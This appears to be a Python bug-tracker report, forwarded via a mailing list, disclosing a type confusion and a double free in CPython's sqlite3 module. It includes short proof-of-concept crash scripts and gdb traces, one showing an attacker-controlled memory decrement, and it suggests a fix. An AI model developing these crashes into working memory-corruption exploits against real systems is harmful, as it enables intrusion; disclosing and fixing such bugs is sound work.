New submission from tehybel:

The first issue is a type confusion which resides in the sqlite3 module, in the
file connection.c. The function pysqlite_connection_cursor takes an optional
argument, a factory callable:

    if (!PyArg_ParseTupleAndKeywords(args, kwargs, "|O", kwlist,
                                     &factory)) {
        return NULL;
    }

If the factory callable is given, it is called to initialize a cursor:

    cursor = PyObject_CallFunction(factory, "O", self);

After this the cursor, which is a PyObject *, is cast directly to a
pysqlite_Cursor without performing any type checking:

    if (cursor && self->row_factory != Py_None) {
        Py_INCREF(self->row_factory);
        Py_XSETREF(((pysqlite_Cursor *)cursor)->row_factory, self->row_factory);
    }

Here is a small script which is tested on Python-3.5.2, 64-bit, with
--with-pydebug enabled:

--- begin script ---

import sqlite3

conn = sqlite3.connect('poc2.db')
conn.row_factory = 12
conn.cursor(lambda x: "A"*0x10000)

--- end script ---


When run, this produces a segfault:

(gdb) r ./poc2.py

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff6496ad8 in pysqlite_connection_cursor (self=0x7ffff68cc370, 
args=<optimized out>, kwargs=<optimized out>)
    at /home/xx/Python-3.5.2/Modules/_sqlite/connection.c:322
warning: Source file is more recent than executable.
322         Py_XSETREF(((pysqlite_Cursor *)cursor)->row_factory, 
self->row_factory);
(gdb) p cursor
$13 = (PyObject *) 0xa46b90
(gdb) p self->row_factory
$14 = (PyObject *) 0x8d05f0 <small_ints+816>
(gdb) x/3i $pc
=> 0x7ffff6496ad8 <pysqlite_connection_cursor+221>: mov    rax,QWORD PTR 
[rdi+0x10]
   0x7ffff6496adc <pysqlite_connection_cursor+225>: sub    rax,0x1
   0x7ffff6496ae0 <pysqlite_connection_cursor+229>: mov    QWORD PTR 
[rdi+0x10],rax
(gdb) p $rdi
$15 = 0x4141414141414141

An arbitrary word in memory is decremented.


------


The second issue exists in the function pysqlite_connection_set_isolation_level
which resides in /Modules/_sqlite/connection.c. It can result in memory getting
freed multiple times.

The problem is that the variable self->isolation_level is not cleared before
being DECREF'd.

The code looks like this:

    static int pysqlite_connection_set_isolation_level(pysqlite_Connection* 
self, PyObject* isolation_level)
    {
        ...
        Py_XDECREF(self->isolation_level);
        ...
    }

This call to Py_XDECREF can trigger an arbitrary amount of python code, e.g. via
self->isolation_level's __del__ method. That code could then call 
pysqlite_connection_set_isolation_level again, which would trigger another
Py_XDECREF call on the same self->isolation_level, which can thus be freed an
arbitrary number of times.

One way to fix this is to use Py_CLEAR instead.

Here's a proof-of-concept script which results in a segfault here:

--- begin script ---

import sqlite3

class S(str):
    def __del__(self):
        conn.isolation_level = S("B")

conn = sqlite3.connect('poc6.db')
conn.isolation_level = S("A")
conn.isolation_level = ""

--- end script ---

When run it segfaults here, with Python-3.5.2 and --with-pydebug enabled:

(gdb) r ./poc6.py
Starting program: /home/xx/Python-3.5.2/python ./poc6.py

Program received signal SIGSEGV, Segmentation fault.
_Py_ForgetReference (op=op@entry=0x7ffff6d81b80) at Objects/object.c:1757
1757        if (op == &refchain ||
(gdb) bt
#0  _Py_ForgetReference (op=op@entry=0x7ffff6d81b80) at Objects/object.c:1757
#1  0x000000000049f8c0 in _Py_Dealloc (op=0x7ffff6d81b80) at 
Objects/object.c:1785
#2  0x000000000046ced8 in method_dealloc (im=im@entry=0x7ffff7f25de8) at 
Objects/classobject.c:198
#3  0x000000000049f8c5 in _Py_Dealloc (op=op@entry=0x7ffff7f25de8) at 
Objects/object.c:1786
...

----------
components: Extension Modules
messages: 273659
nosy: ghaering, tehybel
priority: normal
severity: normal
status: open
title: sqlite3 type confusion and multiple frees
versions: Python 2.7, Python 3.5

_______________________________________
Python tracker <rep...@bugs.python.org>
<https://bugs.python.org/issue27861>
_______________________________________
_______________________________________________
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

Reply via email to